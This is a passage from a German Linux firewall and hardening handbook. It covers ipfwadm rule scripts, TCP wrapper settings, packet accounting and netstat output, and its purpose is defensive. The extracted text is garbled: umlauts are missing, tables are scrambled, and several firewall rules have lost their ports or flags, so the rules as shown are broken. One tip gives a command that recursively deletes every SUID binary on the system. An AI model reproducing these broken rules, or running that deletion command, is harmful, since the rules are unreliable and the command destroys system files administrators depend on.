# Keine Multicast-Adressen ! ipfwadm -I -a deny -o -W $EXTERNES_INTERFACE -S $MULTICAST # ICMP Codes # 0: Echo_Reply # 3: Dest_Unreachable, Network_Unavailable, Service_Unavailable, etc. # 4: Source_Quench # 5: Redirect
# 8: Echo_Request # 11: Time_Exceeded # 12: Parameter_Problem ipfwadm -I -a accept -P icmp -W $EXTERNES_INTERFACE \ -S $ANYWHERE 0 3 4 11 12 -D $IPADDR ipfwadm -I -a accept -P icmp -W $EXTERNES_INTERFACE \ -S $DHCP_SERVERS 8 -D $IPADDR ipfwadm -O -a accept -P icmp -W $EXTERNES_INTERFACE \ -S $IPADDR 3 4 8 12 -D $ANYWHERE ipfwadm -O -a accept -P icmp -W $EXTERNES_INTERFACE \ -S $IPADDR 0 11 -D $DHCP_SERVERS # Keine SUN RPC Pakete ipfwadm -O -a reject -P tcp -W $EXTERNES_INTERFACE \ -S $IPADDR \ -D $ANYWHERE 0 87 111 512 513 514 515 540 ipfwadm -O -a reject -P tcp -W $EXTERNES_INTERFACE \ -S $IPADDR 0 87 111 512 513 514 515 540 \ -D $ANYWHERE # Kein Openwindows ipfwadm -O -a reject -S $IPADDR \ -D $ANYWHERE # Kein X-Windows ipfwadm -O -a reject -S $IPADDR \ -D $ANYWHERE
# SOCKS ist erlaubt, hierzu mu SOCKS installiert sein ipfwadm -O -a reject -P tcp -y -W $EXTERNES_INTERFACE \ -S $IPADDR \ -D $ANYWHERE 1080 # Kein dhcp tftp sunrpc snmp snmp-trap ins Internet ipfwadm -O -a reject -P udp -W $EXTERNES_INTERFACE \ -S $IPADDR \ -D $ANYWHERE 0 68 69 111 161 162 # Kein biff (Mail) ins Internet ipfwadm -O -a reject -P udp -W $EXTERNES_INTERFACE \ -S $IPADDR \ -D $ANYWHERE 512 513 514 520 521 # Kein dhcp tftp sunrpc snmp snmp-trap ipfwadm -O -a reject -P udp -W $EXTERNES_INTERFACE \ -S $IPADDR 0 67 69 111 161 162 \
-D $ANYWHERE # Kein biff ipfwadm -O -a reject -P udp -W $EXTERNES_INTERFACE \ -S $IPADDR \ -D $ANYWHERE 512 513 514 520 521 # Zugriff fr alle Intranet Hosts ipfwadm -I -a accept -W $LOKALES_INTERFACE -S $INTRANET ipfwadm -O -a accept -W $LOKALES_INTERFACE -D $INTRANET # Loopback fr die Dmonen ipfwadm -I -a accept -W $LOOPBACK_INTERFACE ipfwadm -O -a accept -W $LOOPBACK_INTERFACE # Kein Zugriff auf Ports im Bereich von X, OpenWindows, NFS... ipfwadm -I -a deny -o -P tcp -y -W $EXTERNES_INTERFACE \ -D $IPADDR $VERBOTEN_PORTS ipfwadm -I -a deny -o -P tcp -y -W $EXTERNES_INTERFACE \ -D $IPADDR $VERBOTEN_OPENWINDOWS ipfwadm -I -a deny -o -P tcp -y -W $EXTERNES_INTERFACE \ -D $IPADDR $VERBOTEN_XWINDOWS # Kein SOCKS aus dem Internet ipfwadm -I -a deny -P tcp -y -W $EXTERNES_INTERFACE \ -S $ANYWHERE \ -D $IPADDR 1080 # Kein UDP auf verbotene Ports ipfwadm -I -a deny -o -P udp -W $EXTERNES_INTERFACE \ -D $IPADDR $VERBOTEN_PORTS # traceroute benutzt -S 32769:65535 -D 33434:33523 # Verbiete Traceroute ipfwadm -I -a accept -o -P udp -W $EXTERNES_INTERFACE \ -S 24.128.0.0/16 32769:65535 \ -D $IPADDR 33434:33523 ipfwadm -I -a deny -o -P udp -W $EXTERNES_INTERFACE \ -S $ANYWHERE 32769:65535 \ -D $IPADDR 33434:33523 # Hier sollte man die Ports nur freigeben, wenn man Zugriff auf den # Bastion Host zulassen mchte, DNS Server # # ipfwadm -I -a accept -P udp -W $EXTERNES_INTERFACE \ # -S $NAMESERVER_1 53 \ # -D $IPADDR 53 # # ipfwadm -O -a accept -W $EXTERNES_INTERFACE \ -S $IPADDR 53 \
# # # # # # # # # #
ipfwadm -O -a accept -W $EXTERNES_INTERFACE \ -S $IPADDR 53 \ -D $NAMESERVER_2 53 ipfwadm -I -a accept -P udp -S $NAMESERVER_3 53 \ -D $IPADDR 53 -W $EXTERNES_INTERFACE \
# ipfwadm -O -a accept -W $EXTERNES_INTERFACE \ # -S $IPADDR 53 \ # -D $NAMESERVER_3 53 # # DNS Client ist ok ! ipfwadm -I -a accept -P udp -W $EXTERNES_INTERFACE \ -S $NAMESERVER_1 53 \ -D $IPADDR $UNPRIVPORTS ipfwadm -O -a accept -P udp -W $EXTERNES_INTERFACE \ -S $IPADDR $UNPRIVPORTS \ -D $NAMESERVER_1 53 ipfwadm -I -a accept -P tcp -k -S $NAMESERVER_1 53 \ -D $IPADDR $UNPRIVPORTS -W $EXTERNES_INTERFACE \
ipfwadm -O -a accept -P tcp -W $EXTERNES_INTERFACE \ -S $IPADDR $UNPRIVPORTS \ -D $NAMESERVER_1 53 ipfwadm -I -a accept -P udp -W $EXTERNES_INTERFACE \ -S $NAMESERVER_2 53 \ -D $IPADDR $UNPRIVPORTS ipfwadm -O -a accept -P udp -W $EXTERNES_INTERFACE \ -S $IPADDR $UNPRIVPORTS \ -D $NAMESERVER_2 53 ipfwadm -I -a accept -P tcp -k -S $NAMESERVER_2 53 \ -D $IPADDR $UNPRIVPORTS -W $EXTERNES_INTERFACE \
ipfwadm -O -a accept -P tcp -W $EXTERNES_INTERFACE \ -S $IPADDR $UNPRIVPORTS \ -D $NAMESERVER_2 53 ipfwadm -I -a accept -P udp -W $EXTERNES_INTERFACE \
-S $NAMESERVER_3 53 \ -D $IPADDR $UNPRIVPORTS ipfwadm -O -a accept -P udp -W $EXTERNES_INTERFACE \ -S $IPADDR $UNPRIVPORTS \ -D $NAMESERVER_3 53 ipfwadm -I -a accept -P tcp -k -S $NAMESERVER_3 53 \ -D $IPADDR $UNPRIVPORTS -W $EXTERNES_INTERFACE \
ipfwadm -O -a accept -P tcp -W $EXTERNES_INTERFACE \ -S $IPADDR $UNPRIVPORTS \ -D $NAMESERVER_3 53 # # # # # # # # # # # # # # # # # # # # SSH server (22) ipfwadm -I -a accept -P tcp -W $EXTERNES_INTERFACE \ -S $ANYWHERE $UNPRIVPORTS -D $IPADDR 22 ipfwadm -I -a accept -P tcp -W $EXTERNES_INTERFACE \ -S $ANYWHERE $SSH_PORTS -D $IPADDR 22 SSH client (22) ipfwadm -I -a accept -P tcp -k -W $EXTERNES_INTERFACE \ -S $ANYWHERE 22 -D $IPADDR $UNPRIVPORTS ipfwadm -I -a accept -P tcp -k -W $EXTERNES_INTERFACE \ -S $ANYWHERE 22 -D $IPADDR $SSH_PORTS TELNET server (23) ipfwadm -I -a accept -P tcp -W $EXTERNES_INTERFACE \ -S $ANYWHERE $UNPRIVPORTS -D $IPADDR 23 TELNET client (23) ipfwadm -I -a accept -P tcp -k -W $EXTERNES_INTERFACE \ -S $ANYWHERE 23 -D $IPADDR $UNPRIVPORTS HTTP server (80) ipfwadm -I -a accept -P tcp -W $EXTERNES_INTERFACE \ -S $ANYWHERE $UNPRIVPORTS -D $IPADDR 80 HTTP client (80) ipfwadm -I -a accept -P tcp -k -W $EXTERNES_INTERFACE \ -S $ANYWHERE 80 \ -D $IPADDR $UNPRIVPORTS HTTPS client (443) ipfwadm -I -a accept -P tcp -k -W $EXTERNES_INTERFACE \ -S $ANYWHERE 443 \ -D $IPADDR $UNPRIVPORTS WWW-CACHE client (typical ports are 8000 or 8080) ipfwadm -I -a accept -P tcp -k -W $EXTERNES_INTERFACE \ -S $WEB_PROXY_SERVER \ -D $IPADDR $UNPRIVPORTS POP client (110) ipfwadm -I -a accept -P tcp -k -W $EXTERNES_INTERFACE \ -S $POP_SERVER 110 \ -D $IPADDR $UNPRIVPORTS NNTP NEWS client (119) ipfwadm -I -a accept -P tcp -k -W $EXTERNES_INTERFACE \ -S $NEWS_SERVER 119 \
# # # # #
-D $IPADDR $UNPRIVPORTS # FINGER client (79) ipfwadm -I -a accept -P tcp -k -W $EXTERNES_INTERFACE \ -S $ANYWHERE 79 \ -D $IPADDR $UNPRIVPORTS # AUTH server (113) ipfwadm -I -a reject -P tcp -W $EXTERNES_INTERFACE \ -S $ANYWHERE -D $IPADDR 113 # AUTH client (113) ipfwadm -I -a accept -P tcp -k -W $EXTERNES_INTERFACE \ -S $ANYWHERE 113 -D $IPADDR $UNPRIVPORTS # SMTP server (25) # ipfwadm -I -a accept -P tcp -W $EXTERNES_INTERFACE \ # -S $ANYWHERE $UNPRIVPORTS \ # -D $IPADDR 25 # SMTP client (25) ipfwadm -I -a accept -P tcp -k -W $EXTERNES_INTERFACE \ -S $SMTP_SERVER 25 \ -D $IPADDR $UNPRIVPORTS # -----------------------------------------------------------------# IRC client (6667) # ipfwadm -I -a accept -P tcp -k -W $EXTERNES_INTERFACE \ # -S $ANYWHERE 6667 \ # -D $IPADDR $UNPRIVPORTS # RealAudio client # ipfwadm -I -a accept -P tcp -k -W $EXTERNES_INTERFACE \ # -S $ANYWHERE $UNPRIVPORTS \ # -D $IPADDR 554 7070 7071 # UDP is the preferred method # ipfwadm -I -a accept -P udp -W $EXTERNES_INTERFACE \ # -S $ANYWHERE $UNPRIVPORTS \ # -D $IPADDR 6970:7170 # FTP server (20, 21) ipfwadm -I -a accept -P tcp -W $EXTERNES_INTERFACE \ -S $ANYWHERE $UNPRIVPORTS \ -D $IPADDR 21 # PORT MODE Antworten fr Daten ipfwadm -I -a accept -P tcp -k -W $EXTERNES_INTERFACE \ -S $ANYWHERE $UNPRIVPORTS \ -D $IPADDR 20 # PASSIVE MODE Antworten fr Daten ipfwadm -I -a accept -P tcp -W $EXTERNES_INTERFACE \ -S $ANYWHERE $UNPRIVPORTS \ -D $IPADDR $UNPRIVPORTS # FTP client (20, 21) ipfwadm -I -a accept -P tcp -k -W $EXTERNES_INTERFACE \ -S $ANYWHERE 21 \ -D $IPADDR $UNPRIVPORTS ipfwadm -I -a accept -P tcp -W $EXTERNES_INTERFACE \ -S $ANYWHERE 20 \ -D $IPADDR $UNPRIVPORTS # PASV-FTP
-a accept -P tcp -k -W $EXTERNES_INTERFACE \ $ANYWHERE $UNPRIVPORTS \ $IPADDR $UNPRIVPORTS (43) -a accept -P tcp -k -W $EXTERNES_INTERFACE \ $ANYWHERE 43 \ $IPADDR $UNPRIVPORTS
# UDP fr DHCP Clients ipfwadm -I -a accept -P udp -S $DHCP_SERVERS 67 \ -D $IPADDR 68 ipfwadm -I -a accept -P udp -S $DHCP_SERVERS 67 \ -D $BROADCAST_1 68
-W $EXTERNES_INTERFACE \
-W $EXTERNES_INTERFACE \
ipfwadm -O -a accept -P udp -o -W $EXTERNES_INTERFACE \ -S $BROADCAST_0 68 \ -D $DHCP_SERVERS 67 # DHCP IP-Vergabe ipfwadm -I -a accept -P udp -S $BROADCAST_0 67 \ -D $BROADCAST_1 68
-W $EXTERNES_INTERFACE \
# REBINDING bei DHCP ipfwadm -O -a accept -P udp -W $EXTERNES_INTERFACE \ -S $BROADCAST_0 68 \ -D $BROADCAST_1 67 ipfwadm -I -a accept -P udp -S $DHCP_SERVERS 67 \ -D $ANYWHERE 68 -W $EXTERNES_INTERFACE \
# # # #
ipfwadm -I -a deny -P udp -W $EXTERNES_INTERFACE \ -S $ANYWHERE 67 \ -D $IPADDR 68 NTP TIME clients (123) ipfwadm -I -a accept -P udp -W $EXTERNES_INTERFACE \ -S dominator.eecs.harvard.edu 123 \ -D $IPADDR $UNPRIVPORTS
# Logging explizit fr: ipfwadm -I -a deny -o -P tcp -W $EXTERNES_INTERFACE -D $IPADDR ipfwadm -I -a deny -o -P udp -W $EXTERNES_INTERFACE -D $IPADDR $PRIVPORTS ipfwadm -O -a deny -o -P icmp -W $EXTERNES_INTERFACE -S $IPADDR 5 ipfwadm -I -a deny -o -P icmp -W $EXTERNES_INTERFACE \ -S $ANYWHERE 5 13 14 15 16 17 18 -D $IPADDR # Erlaube anderen Verkehr ins Internet
ipfwadm -O -a accept -W $EXTERNES_INTERFACE -S $IPADDR # Masquerade aktivieren ipfwadm -F -a masquerade -W $EXTERNES_INTERFACE -S $INTRANET echo "Firewall aktiv"
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
simultan benutzen knnen. Bercksichtigt man, da z.B. X-Windows sehr viele simultane Verbindungen bentigt (Fontserver...), dann kann es passieren, da die Ports alle schnell vergeben sind. RPC hat die 2 Byte auf 4 Byte erweitert, und kann somit ca. 4.3 Milliarden simultane Verbindungen handeln. Die einzig feste Portnummer dieses Dienstes, die niemals verndert werden darf, ist die des Portmappers auf Port 111. Dieser handelt die Kanle mit den Clients aus. Die Firewall im Kernel von LINUX hat keinerlei speziellen Kenntnisse ber die Mechanismen, die fr die RPC Dienste erforderlich sind. Hier bleibt nur der Einsatz des TIS FWTK brig. Die Installation des TIS FWTK ist ein einem der folgenden Kapitel beschrieben. Die Firewall ist nun im Prinzip von allen Arbeitsstationen im Intranet zu erreichen. Die Fernwartung knnte also von allen Arbeitspltzen im Netz erfolgen. Es existieren nun zwei Mglichkeiten, den Zugriff zu begrenzen. Die nderung der Firewallregeln, oder die Anpassung des der Datei /etc/hosts.allow, /etc/hosts.deny und der /etc/inetd.conf Datei. Betrachten man nun die Datei /etc/hosts.allow: ALL: LOCAL in.ftpd sshd : ALL Es wird allen Arbeitsstationen im Netzwerk die Aktivierung der Dmonen in.ftpd und sshd erlaubt. (FTP und SSH) Betrachten man nun die Datei /etc/hosts.deny:y ALL: PARANOID ALL EXCEPT in.ftpd sshd : ALL Man erreicht mit diesen Einstellungen, da die Firewall ein "double reverse lookup" bei jedem Verbindungsaufbau durchfhrt, d.h. den DNS - Namen in eine IP - Nummer auflst, mit reverse lookup diese IP - Nummer zurck in den DNS - Namen auflst, und vergleicht. Ist die zugreifende Maschine dann nicht korrekt in die DNS - Server eingetragen, also nicht offiziell, dann wird die Verbindung abgelehnt. Ein Grund hierfr kann sein, da ein Angreifer versucht, von einem Laptop o.. sich Zugang zur Firewall zu verschaffen. Im Internet fhrt diese Einstellung zu einer erheblichen Belastung der DNS Server, weil weltweit viele Konfigurationsfehler passieren. Allerdings verbessert diese Einstellung sehr den Schutz vor Angriffen mit gespooften Adressen. Hierzu mu jedoch der TCPD mit -DPARANOID neu kompiliert werden. Dies trifft im brigen auf die Dmonen zu: APACHE, SAMBA, BIND, SQUID, mountd...Diese mssen alle mit der eingebundenen libwrap neu kompiliert werden, damit diese bei jedem Kontakt mit einem Client einen double reverse lookup durchfhrt. Der Befehl man tcpd gibt zustzlich noch gengend Hinweise fr die Konfiguration des TCP Wrappers. Hier noch einige Tips zur Konfiguration der Firewall q Die Firewallregeln sollten immer nur von einem vollstndigen Skript aus gesetzt werden. q Es sollte sichergestellt sein, da alle vorherigen Regeln gelscht werden. Dies kann mit: ipfwadm -F/I/O -f geschehen. Um sich davon zu berzeugen, da alle Regeln wirklich gelscht sind, reicht ipfwadm -I/O/F -l aus. q Man sollte nicht vergessen, vor dem Lschen der Regeln die Firewall von dem ISDN - Router zu trennen. Die default policy ist auch eine Regel. Im richtigen Moment knnte sonst ein Angreifer durch die Firewall tunneln. Dies ist abhngig davon, ob forwarding im Kernel aktiviert wurde. q Die Firewall sollte niemals ungeprft an das Internet angeschlossen werden. Die Philosophie des Herumprobierens, bis es luft, und dann zu testen, hat schon vielfach zu Einbrchen gefhrt.
Insbesondere interessieren sich Hacker fr neu vergebene IP-Netze und Domainnamen (RIPE). Es dauert mitunter nur Stunden, bis ein Hacker sein Glck versucht. Das Mitloggen von Ereignissen schon zu Beginn kann sehr aufschlureich sein, insbesondere auch der internen Pakete. Es sollten stets auch alle Flags (SYN, ACK) berprft werden. Mit der Option -o am Anschlu einer jeden Firewallregel wird sichergestellt, da bei einem Versto gegen diese Regel ein Eintrag im Logfile der Firewall erscheint. Schon beim Aufbau der Firewall sollte die Security Policy aufgestellt sein.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
ports n/a
Die Ausgabe besagt, da die default policy auf deny gesetzt ist. in der Tabelle steht, da alle Pakete aus dem Netzwerk 10.0.1.0 in das Internet weitergeleitet werden, und zwar auf allen Ports und mit aktiviertem masquerading (acc/m). Die Zahl 24 gibt die signifikanten Bits an. /24 entspricht 255.255.255.0 also 3 mal 8 Bit. Das bedeutet, da ein Class-C Netz angesprochen wird. Das letzte Byte (8 Bit) ist also variabel. Wer z.B. hinter der Firewall einen einzelnen Host betreiben mchte, der sollte die Option /32 benutzen, damit nur dieser einzelne Host freigeschaltet wird. Die Interfaces sind hier nicht mit angegeben, also Vorsicht mit Verwechslungen.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Die default policy ist deny. Es wird nirgendwo nach Portnummern selektiert. Wichtig ist hierbei die Reihenfolge der Regeln, die auch bei der Ausgabe der Regeln streng eingehalten wird. Zuerst werden alle Regeln aufgelistet, die Pakete verbieten, und danach kommen die Regeln, die Pakete zulassen. Pakete, die erst zugelassen werden, sind hindurch. Ein Ablehnen eines Paketes durch eine nachfolgende Regel bleibt dann ohne Wirkung.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
ports n/a 0,3,4,11,12 8 * -> 2049, 2000, 6000:6001 * -> 2049 53 -> 53 1024:65535 -> 80 80 -> 1024:65535
Die Regeln besagen: q Unterbinde allen Netzwerkverkehr aus dem Netzwerk 10.0.0.0 fr die IP - Nummern 10.0.0.1 bis 10.255.255.254 (/8 Option) nach berall (0.0.0.0/0) hin q Eingehende ICMP Pakete werden akzeptiert (0,3,4,11,12) q Eingehende PING Pakete werden nur von internen Hosts akzeptiert (8) q TCP Pakete von einem externen Interface, die NFS, Openwindows oder X-Windows ansprechen, werden abgelehnt q Jedes UDP Paket aus dem internen Netzwerk, welches auf den NFS Server zugreifen mchte, wird abgelehnt q DNS loopkup und reverse lookups werden erlaubt q WWW- Verbindungen aus dem Internet werden zugelassen
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Dieses Beispiel zhlt den FTP Traffic zum und vom Server 10.0.0.1 nach berall hin. Port 20 ist der Datenkanal, ber den die Pakete laufen, Port 21 ist der Verbindungskanal fr FTP. Die Option -A steht fr Accounting, die Option -a fr append. Werden die Accounting-Regeln gerade neu aufgesetzt, so mu das -a durch -i ersetzt werden. Die Regeln kann man mit ipfwadm -Af alle geleichzeitig lschen. Zum Lschen von einzelnen Regeln lesen Sie bitte die Hilfe durch: ipfwadm -h, oder schauen Sie auf der Site http://www.xos.nl das ausfhrliche Handbuch durch. ipfwadm ipfwadm ipfwadm ipfwadm -A -A -A -A -a -a -a -a -P -P -P -P tcp udp tcp udp -S -S -S -S 0/0 -D 10.0.0.1 53 0/0 -D 10.0.0.1 53 10.0.0.1 53 -D 0/0 10.0.0.1 53 -D 0/0
Dieses Beispiel zhlt den Traffic fr den Nameserver. Da dieses Protokoll sowohl UDP als auch TCP verwendet, mssen beide Protokolle angegeben werden. Warum 0/0 ?. Das Problem bei dem Zhlen von Paketen ist, da man nicht wei, welchen Ausgangsport der anfragende Client verwendet. Es ist immer nur der Zielport bekannt, in diesem Fall Port 53. Daher 0/0. Fr das Zhlen von anderen Protokollen mu man die Portnummer eines Dienstes genau kennen. Die mglichen Protokolle findet man in der Datei /etc/protocols, die tatschlich aktivierten in der Datei /etc/inetd.conf. Es knnte jedoch auch sein, da Dmonen per Hand aktiviert wurden, diese also nicht in der Datei /etc/inetd.conf fr einen automatischen Start eingetragen wurden. Mit netstat -a kann man sich alle aktiven Dmonen/Dienste und deren Portbindung an die jeweiligen Interfaces ausgeben lassen: root@tunix:/etc > netstat -a|more Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address tcp 0 0 *:6000 *:* tcp 0 0 *:3128 *:* tcp 0 0 localhost:1105 localhost:1106 ESTABLISHED tcp 0 0 localhost:1106 localhost:1105 ESTABLISHED tcp 0 0 localhost:1052 localhost:1104 ESTABLISHED tcp 0 0 localhost:1104 localhost:1052 ESTABLISHED tcp 0 0 localhost:1030 localhost:1050 ESTABLISHED tcp 0 0 localhost:1050 localhost:1030 ESTABLISHED
tcp 0 ESTABLISHED tcp 0 ESTABLISHED tcp 0 ESTABLISHED tcp 0 ESTABLISHED tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 tcp 0 udp 0
0 localhost:1027 0 localhost:1028 0 localhost:1024 0 localhost:1026 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 *:www *:ssh *:linuxconf *:midinet *:btx *:http-rman *:auth *:finger *:pop3 *:login *:shell *:printer *:telnet *:ftp *:time *:chargen *:daytime *:discard *:echo *:2049 *:722 *:690 *:sunrpc *:1026
localhost:1028 localhost:1027 localhost:1026 localhost:1024 *:* *:* *:* *:* *:* *:* *:* *:* *:* *:* *:* *:* *:* *:* *:* *:* *:* *:* *:* *:* *:* *:* *:* *:* LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN
Alle Ports, die auf "LISTEN" stehen, sind aktiv. Wie man sehen kann, sind viel zu viele Dienste unntig aktiviert. Dieses ist ein Beispiel einer standardmig installierten LINUX Distribution. Es gibt einfach zu viele Angriffspunkte fr Cracker. Die Dienste ECHO, DISCARD und CHARGEN sind z.B. in der S.u.S.E. Distribution unntig deaktiviert. Wenn diese deaktiviert werden, dann funktionieren z.B. TELNET und andere Dienste, wie PING nicht mehr korrekt. Es kann dann erhebliche Zeitverzgerungen beim Verbindungsaufbau oder beim Abbruch geben. Auf einer Firewall sollten nur die unbedingt notwendigen Dienste und Dmomen laufen. Fr die Kernel 2.0 und 2.2 gibt es auf der Site http://www.freshmeat.net Kernelerweiterungen, die sogar fr einzelne User Accounting durchfhren knnen. Diese mssen in den Kernel einkompiliert werden. Zur einfacheren Bedienung finden sich dort auch Frontends, mit denen das Paketezhlen sehr einfach ist. Diese Funktionieren auch mit der IPCHAINS Firewall im Kernel 2.2
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Entfernen Sie alle unntigen User und Gruppen aus den Dateien /etc/passwd und /etc/group Entfernen Sie alle SUID und GID - Programme auf der Firewall. Sie finden Sie mit dem Befehl: find / -perm -04000 , optional -print -exec rm {} ";" Alle verbleibenden Dienste, z.B. der SYSLOGD sollten in einer CHROOT() Umgebung installiert sein, was bedeutet, da ein Angreifer, wenn er ein buffer overflow Problem des Dmon ausnutzt, hchstens auf ein Unterverzeichnis der Festplatte zugreifen kann. Wer sich intensiver damit beschftigen mu, der findet im Kapitel chroot() weitere Tips. Alle verbleibenden Dienste sollten unter minimalen Userrechten laufen, z.B. nobody und nogroup Die Eintrge aller User auer root und userxyz in der Datei /etc/passwd sollten statt /bin/bash den
q q
q q
Dummy- Eintrag /bin/false erhalten. Entfernen alle berflssigen Protokolle aus dem Kernel durch Neukonfiguration und Neukompilation des Kernels. Entfernung aller berflssigen Dmonen aus den Startup - Skripten /etc/inittab, /sbin/init.d/rc.?d oder /etc/rc.d/rc.?d sowie der Datei /etc/rc.local. Nachten sollte man stets auch auf die Dateien .profile, /etc/profile und .bashrc oder .cshrc Enfernung des KERNELD, damit keine Treiber dynamisch nachgeladen werden knnen. berprfen Sie die Authentizitt aller noch verbleibenden Programme, Libraries oder Dmonen auf Quellcode-Ebene. Falls Sie nicht sicher sind, berprfen Sie die MD5 Prfsummen. Es knnte hierzu notwendig sein, da viele Teile neu kompiliert werden mssen. Kompilieren Sie stets mit der Option -static in dem Makefile. Damit Sie sicher sein knnen, da die verbleibenden Dmonen buffer overflow sicher sind, benutzen Sie die Kompiler der o.a. SecureLINUX Distributionen.
Wie Sie sehen, gibt es gute Grnde, eine Firewall nicht mit einer fertigen LINUX Distribution, wie z.B. RedHat oder S.u.S.E. Linux aufzubauen. Es gibt viel zu viel Software und aktive Dmonen, die man alle unbedingt ausschalten mu. Eine Firewall ist und bleibt ein uerst sensibles Stck Software, wo ein einziger Fehler schon zuviel ist. Als Systemadministrator der Firewall sollte man alle noch vorhandenen User auf der Firewall gnadenlos eliminieren. Es sollte nur noch ein Useraccount und root auf der Firewall existieren. brigens sollte man sich einmal Gedanken darber machen, welche Accounts bei einer Standard-Distribution, wie z.B. S.u.S.E. LINUX standardmig existieren: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/bash daemon:x:2:2:daemon:/sbin:/bin/bash lp:x:4:7:lp daemon:/var/spool/lpd:/bin/bash news:x:9:13:News system:/etc/news:/bin/bash uucp:x:10:14::/var/lib/uucp/taylor_config:/bin/bash games:x:12:100::/tmp:/bin/bash man:x:13:2::/var/catman:/bin/bash at:x:25:25::/var/spool/atjobs:/bin/bash postgres:x:26:2:Postgres Database Admin:/var/lib/pgsql:/bin/bash lnx:x:27:27:LNX Database Admin:/usr/lib/lnx:/bin/bash mdom:x:28:28:Mailing list agent:/usr/lib/majordomo:/bin/bash yard:x:29:29:YARD Database Admin:/usr/lib/YARD:/bin/bash wwwrun:x:30:65534:Daemon user for apache:/tmp:/bin/bash squid:x:31:65534:WWW proxy squid:/var/squid:/bin/bash fax:x:33:14:Facsimile Agent:/var/spool/fax:/bin/bash gnats:x:34:65534:Gnats Gnu Backtracking System:/usr/lib/gnats:/bin/bash empress:x:35:100:Empress Database Admin:/usr/empress:/bin/bash adabas:x:36:100:Adabas-D Database Admin:/usr/lib/adabas:/bin/bash amanda:x:37:6:Amanda Admin:/var/lib/amanda:/bin/bash ixess:x:38:29:IXware Admin:/usr/lib/ixware:/bin/bash irc:x:39:65534:IRC Daemon:/usr/lib/ircd:/bin/bash ftp:x:40:2:ftp account:/usr/local/ftp:/bin/bash firewall:x:41:31:firewall account:/tmp:/bin/false informix:x:43:34:Informix Database Admin:/usr/lib/informix:/bin/bash
named:x:44:44:Nameserver Daemon:/var/named:/bin/bash virtuoso:x:45:100:Virtuoso Admin:/opt/virtuoso-lite:/bin/bash nobody:x:65534:65534:nobody:/tmp:/bin/bash user01:x:500:100::/platte2/home/user01:/bin/bash user02:x:501:100::/home/user02:/bin/bash user03:x:502:100::/home/user03:/bin/bash Die Paworte stehen in der Datei /etc/shadow. Welche Paworte sind bei welchen Accounts vergeben ? Warum ist in der Datei /etc/shadow bei vielen Accounts kein Pawort eingetragen ? Wofr ist dann berhaupt der Account gut ? Die Antwort ist einfach - SUID Programme und chroot() Programm nutzen diese Accounts. Diese besitzen ein SUID Bit (Siehe chmod). So verlangen z.B. einige Dmonen, wie sendmail ein solches Bit. In diesem Falle sollte man auf Dmonen ausweichen, die eine sichere Architektur besitzen. Einige Hinweise finden sich in spteren Kapiteln. Eventuell vorhandene suid Programme sollte man entweder lschen, oder aber das Bit entfernen. Empfehlenswert ist es stets, allen Usern, die keine Shell bentigen, in der Datei /etc/passwd anstelle der Shell /bin/bash den Dummy /bin/false einzutragen. Login Versuche scheitern somit alle.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Analysewerkzeuge zu besinnen, und einfach mal das System in Ruhe beobachten. Wenn man dann einen Angriff bemerkt, der zudem noch erfolgreich ist, ist noch lange keine Panik angesagt. Es dauert seine Zeit, bis ein Angreifer sich im Intranet zurechtgefunden hat, die Sicherheitsschranken der Server berwunden hat, und er anfangen kann, die Daten ber ISDN zu kopieren. Besonderes Augenmerk sollte man auch auf Aufzeichnungslcken des SYSLOGD haben. Unter fast allen LINUX 2.0 Versionen ist es relativ einfach mglich, durch die Firewall hindurch den INETD und den SYSLOGD mit einem DoS Angriff stillzulegen. Der Grund ist ein Fehler im Kernel selber, der erst in der Kernelversion 2.2 (oder 2.0 mit Patches) beseitigt wurde. Hierbei ist es fr einen Angreifer mglich, den SYSLOGD stillzulegen, damit er keinerlei Spuren des Angriffs mehr aufzeichnen kann. Man sollte sich also niemals nur auf die LOGDATEIEN einer LINUX Firewall verlassen. Wer einmal live einige solche Angriffe beobachten konnte, der kann viel lernen. Zum Schlu noch einmal der Hinweis auf den DFN-CERT. In dessen Archiven befindet sich eine scheinbar vllig veraltete Anleitung zur Absicherung von UNIX. Leider hat sich bei UNIX im Prinzip seit Jahren nichts elementares mehr getan, auer das der Marktanteil von freien UNIXen stark gestiegen ist. Der DFN-CERT betreibt ein unschtzbar wertvolles Archiv mit vielen wichtigen Themen. Reinschauen lohnt sich !
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
case "$INTERFACE" in ippp*) . /etc/rc.config # find the device found=0 for I in $NETCONFIG; do eval NETDEV=\$NETDEV$I if [ $NETDEV = $INTERFACE ]; then found=1 break; fi done if [ $found -eq 0 ]; then echo "Device '$INTERFACE' not configured in '/etc/rc.config'" exit 1 fi eval IFCONFIG=\$IFCONFIG$I DEST=`grep -v "^#" /etc/route.conf | grep "$INTERFACE\$" | awk '{ print $1}'` DEFAULT=`grep -v "^#" /etc/route.conf | grep default | awk '{ print $2}'` #echo "ok, NETDEV:$NETDEV; IFCONFIG:$IFCONFIG." #echo " DEST: $DEST; DEFAULT: $DEFAULT" case "$BASENAME" in
ip-up) # default deny #ipfwadm -I -p deny #ipfwadm -O -p deny # flush #ipfwadm -I -f #ipfwadm -O -f # accept #ipfwadm #ipfwadm #ipfwadm #ipfwadm dns -O -a -I -a -O -a -I -a
-P -P -P -P
-S -D -S -D
53 53 53 53
-D -S -D -S
